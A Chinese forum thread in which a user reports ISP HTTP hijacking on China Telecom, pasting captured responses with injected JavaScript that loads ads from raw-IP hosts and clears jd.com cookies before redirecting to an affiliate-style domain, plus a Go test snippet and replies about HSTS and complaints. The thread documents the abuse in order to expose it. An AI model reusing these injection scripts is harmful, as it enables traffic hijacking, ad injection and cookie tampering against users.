最近刚从联通切换为电信,就发现自己被劫持了!
测试站点:1 号店、Godaddy
以下是测试全程记录,使用各种浏览器( Chrome、Firefox、360 )、各种平台( Windows、MAC、Android、Linux )和模拟 HTTP 请求方式测试,均会较高概率地出现。
== 1 号店 ==
测试网址: http://www.yhd.com/?cp=0&cityId=1
HTTP/1.1 200 OK
Cache-control: no-store,no-cache,must-revalidate,post-check=0,pre-check=0
Expires: 0
Connection: close
Content-Type: text/html;charset=UTF-8
Set-Cookie: BAIDUID=qq1234; expires=Mon, 24 Jul 2017 05:27:22 GMT; domain=.yhd.com; path=/
Content-Length: 3108
Server: 4ebdfc71391588be740e70a857447eea##300000196##8BDB4F0FB4082CC229CB35414274E1A276019507261825A4378835F87CDD57B1C3C4204FAC1FD51317662096482F01B0B47AF4111E0C561870AC79CF4288CC4B8F8035EEB0E3D16D
Date: Mon, 24 Jul 2017 05:25:22 GMT
<!DOCTYPE HTML><html><head><title></title><style type="text/css">*{margin:0;padding:0;border:0}body{margin:0;color:#000;overflow:hidden;padding:0;width:100%;height:100%;font-family:Arial}a{cursor:pointer;display:block;position:absolute;border:0px;border-radius:16px;background-color:#444;color:#fff;opacity:.8;z-index:3;right:5px;top:5px;height:16px;overflow:hidden;text-align:center;width:16px;font-size:16px;line-height:14px}#x{position:fixed;z-index:2;bottom:0px;right:0px;background-color:#FFF}#m{display:block;position:absolute;top:0;z-index:1;height:100%}#e0{ display: block; position: absolute; right:0; bottom:0; z-index:100; width:30px; height:16px; line-height:16px; font-size:8px; background-color: rgba(0,0,0,0.2); color:#fff; text-align:center;}</style></head><body onLoad="da()"><script>var m = "http://www.yhd.com/?cp=0&cityId=150&forceId=14";var a = "http://47.89.59.182:7788/info.html?sn=0&type=html&mobile=0&sp=6012";var w = window;var n = navigator;var d = document;function da() {var md, dah, daw;var ua = n.userAgent.toLowerCase();var isipad = ua.match(/ipad/i) == "ipad";var isiphone = ua.match(/iphone os/i) == "iphone os";var ismidp = ua.match(/midp/i) == "midp";var isuc7 = ua.match(/rv:1.2.3.4/i) == "rv:1.2.3.4";var isuc = ua.match(/ucweb/i) == "ucweb";var isandroid = ua.match(/android/i) == "android";var isce = ua.match(/windows ce/i) == "windows ce";var iswm = ua.match(/windows\s*mobile/i) == "windows mobile";if (isandroid || isiphone || isipad || iswm) {var meta = d.createElement("meta");meta.name =
注意源文中的:http://47.89.59.182:7788/info.html
== Godaddy ==
测试网址: http://www.goaddy.com/
HTTP/1.1 200 OK
Cache-control: no-store,no-cache,must-revalidate,post-check=0,pre-check=0
Expires: 0
Connection: close
Content-Type: text/html;charset=UTF-8
Set-Cookie: BAIDUID=qq1234; expires=Mon, 24 Jul 2017 05:16:44 GMT; domain=.godaddy.com; path=/
Content-Length: 3071
Server: 78983c49543bf05f6caa7164ee344cd7##300000153##4DB71E232F2CF68308A17F41598333805CA9044C68742B72160D8708B4C230F1D96AF6D22C9B398A499656813CC7054A8116105BB2D27381
Date: Mon, 24 Jul 2017 05:14:44 GMT
<!DOCTYPE HTML><html><head><title></title><style type="text/css">*{margin:0;padding:0;border:0}body{margin:0;color:#000;overflow:hidden;padding:0;width:100%;height:100%;font-family:Arial}a{cursor:pointer;display:block;position:absolute;border:0px;border-radius:16px;background-color:#444;color:#fff;opacity:.8;z-index:3;right:5px;top:5px;height:16px;overflow:hidden;text-align:center;width:16px;font-size:16px;line-height:14px}#x{position:fixed;z-index:2;bottom:0px;right:0px;background-color:#FFF}#m{display:block;position:absolute;top:0;z-index:1;height:100%}#e0{ display: block; position: absolute; right:0; bottom:0; z-index:100; width:30px; height:16px; line-height:16px; font-size:8px; background-color: rgba(0,0,0,0.2); color:#fff; text-align:center;}</style></head><body onLoad="da()"><script>var m = "http://www.godaddy.com/";var a = "http://221.231.6.79:8888/fyyxadmi/Ad/ad_fjnewjm.html";var w = window;var n = navigator;var d = document;function da() {var md, dah, daw;var ua = n.userAgent.toLowerCase();var isipad = ua.match(/ipad/i) == "ipad";var isiphone = ua.match(/iphone os/i) == "iphone os";var ismidp = ua.match(/midp/i) == "midp";var isuc7 = ua.match(/rv:1.2.3.4/i) == "rv:1.2.3.4";var isuc = ua.match(/ucweb/i) == "ucweb";var isandroid = ua.match(/android/i) == "android";var isce = ua.match(/windows ce/i) == "windows ce";var iswm = ua.match(/windows\s*mobile/i) == "windows mobile";if (isandroid || isiphone || isipad || iswm) {var meta = d.createElement("meta");meta.name = "viewport";meta.content = "width=device-width, initial-scale=1.0
注意源文中的:http://221.231.6.79:8888/fyyxadmi/Ad/ad_fjnewjm.html
[注] 正常访问 http://www.godaddy.com/ ,应该是跳转到 https://www.godaddy.com/ 的。
所以即使全站 HTTPS 了,也挡不住他们的流氓行为啊!
才好没多久,劫持又来了:
Content-Length: 1336
Content-Type: text/html
Cache-Control: no-store
Connection: keep-alive
<html><body><script>var ptemp=window.location.href;var date=new Date();date.setTime(date.getTime()-1);var k=document.cookie.match(/[^=;]+(?=\=)/g);if(!k){k=[]}for(var i=k.length;i--;){document.cookie=k[i]+"=;expires="+date+"; path=/;domain=.jd.com";document.cookie=k[i]+"=;expires="+date+"; path=/;domain=";document.cookie=k[i]+"=;expires="+date+"; path=/;domain=.www.jd.com"}setCookie("hb","1","www.jd.com",60*15);var h_s="https";if(navigator.userAgent.indexOf("MSIE 6.0")>0){h_s="http"}u=h_s+"://ns.freedrive.cn?s=1C300B55E&g="+ptemp;~function(url){var boh=document.body?document.body:document.getElementsByTagName("head")[0];ise=(function(){try{return window.location!=top.location}catch(e){return 1}})();if(!ise){(url&&(function(){/webkit/i.test(navigator.userAgent)?~function(a){a.rel="noreferrer";a.target="_self";a.href=url;boh.insertBefore(a,boh.firstChild);a.click()}(document.createElement("a")):(document.open(),document.write(['<meta http-equiv="refresh" content="0;url=','"/>'].join(url)),document.close());setTimeout(function(){document.location.replace(url)},1000)})())}}(u);function setCookie(cookiename,cookievalue,domain,m){var date=new Date();date.setTime(date.getTime()+Number(m)*1000);document.cookie=cookiename+"="+cookievalue+"; path=/;expires = "+date.toGMTString()+"; domain = "+domain};</script></body></html>
1
hilyjiang OP 附上 Golang 测试代码( godaddy 测试):
``` package main import ( "fmt" "net" "strings" ) func main() { rawData := `GET / HTTP/1.1 Host: www.godaddy.com Connection: keep-alive Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8 ` conn, err := net.Dial("tcp", "www.godaddy.com:80") if err != nil { fmt.Println(err.Error()) return } rawData = strings.Replace(rawData, "\n", "\r\n", -1) if _, err := conn.Write([]byte(rawData)); err != nil { fmt.Println(err.Error()) return } buf := make([]byte, 2048, 2048) if _, err := conn.Read(buf); err != nil { fmt.Println(err.Error()) return } fmt.Println(string(buf)) } ``` 有趣的事情是,你把: conn, err := net.Dial("tcp", "www.godaddy.com:80") 改成: conn, err := net.Dial("tcp", "www.baidu.com:80") 或是: conn, err := net.Dial("tcp", "jd.com:80") 劫持的结果是一样的。 这说明他们是根据 Host 劫持的,而且是在接入层做劫持。 |
2
crzidea 2017-07-24 13:42:51 +08:00
你搞错了吧,明明测试的都是 HTTP,哪里全站 HTTPS 了。
|
3
wm5d8b 2017-07-24 13:47:47 +08:00
打电话给电信,就说有劫持。
如果他问你是不是 dns 劫持,你就告诉他不是,是 http 劫持 |
4
hilyjiang OP @crzidea godaddy 是全站 https 了,唯一的 http 地址就是 http://www.godaddy.com/
|
6
mytsing520 2017-07-24 14:07:58 +08:00
@hilyjiang 但你输入地址的时候一般不带协议,浏览器默认就往 http 跑了啊
|
7
aksoft 2017-07-24 14:09:55 +08:00
https 需要你自己输入,现在只能跳转
|
8
hilyjiang OP @mytsing520 问题是你输入网址的时候,会特地敲 https://么?
|
9
mytsing520 2017-07-24 14:42:47 +08:00
@hilyjiang 所以就被劫持了呗
|
10
snoopygao 2017-07-24 14:52:15 +08:00 via iPhone
不明白,如果是我我会先换另一台电脑,然后直接接猫电脑拨号
|
11
AlwaysBehave 2017-07-24 15:14:12 +08:00
@hilyjiang 当然会输入
但是网站不上 HSTS,自己不开 HTTPS Everywhere,然后又是在国内,还能说什么呢( |
12
hilyjiang OP @AlwaysBehave 所以这是用户的错喽?
|
13
Benisme 2017-07-24 17:45:56 +08:00
应该整个福建都是吧,反正我上京东啊淘宝啊永远都要再刷新一遍。手机上用 4g (移动)的时候,经常底部有广告
|
16
AlwaysBehave 2017-07-25 17:23:34 +08:00
@hilyjiang 第一点就不是用户的错啊,那些网站自己不加 HSTS 头在国内活该被劫持。
但是你用国产浏览器无视 HSTS 的,自己也没有防范意识的也无能为力。 而且劫持也无伤大雅(对普通用户而言,又不是不能用),返利那些链接又如何?我之前也有发珠江宽频的 反而注意到这个的用户本身就是要比别人多做一点不是吗?在这个自有国情的地方有什么办法? |
17
xiecong520 2017-07-26 07:16:48 +08:00
@AlwaysBehave
请教大神,湖北电信,查询任意错误或 IPS 无法解析的域名,均返回 61.183.1.186 这个 IP,TTL=128. 如果再次查询,返回 111.175.221.58. 这两毒瘤 IP 会跳转满屏广告+恶意跟踪. 这种该怎么破? 我这里用公共 DNS,会绕 202.97,不好用... host 又只对域名效果,暂时只好开防火墙把那两个 IP 给拦了... |
18
AlwaysBehave 2017-07-26 13:09:07 +08:00
|
19
xiecong520 2017-07-26 20:34:30 +08:00
@AlwaysBehave 投诉了好多次,人家不承认,到后来都爱理不理的..就差投诉到工信部了.
浏览器插件拦吗?貌似容易漏,启动时候插件还没加载 DNS 结果就缓存了. 我以前使用 chinaip 做分流的时候,ssr 居然还帮它穿墙. 差点气死我. D 一波- -! 这两 IP 比 DNS 服务器都扎实.. 它是公私混合型的劫持服务器- -! |
20
cwyalpha 2018-04-30 15:38:08 +08:00 via iPhone
同福州电信 一模一样的劫持 准备投诉工信部看看 电信也是推说 dns 问题了呵呵
|
21
cmheia 2018-05-30 20:36:33 +08:00
广州电信,打开 HTTP 版京东同样被劫持(a)到 ns.freedrive.cn 。
已经多次 10000 号投诉,昨天也已经通过邮件投诉给工信部,今天电信来电表示已经收到工信部投诉,表示关闭了电信自身的推广,让今晚试试还有没有问题,明日再次回访。 今晚实测仍然在劫持,今天唯一不同的是 ns.freedrive.cn 这个域名配置了有效的 tls 证书,跑完了整个劫持过程,而今天之前该域名使用的是无效证书,会被浏览器阻断加载。 电信就是这么解决“打不开京东”的问题的,工信部都管不住了。 除此之外还有劫持手机插入绿色信封状广告的问题(b),一样没给解决。 附图 a (全时段劫持京东 gif, 4.29MB ): 附图 b (每日一次劫持为知笔记 APP jpg, 765KB ): |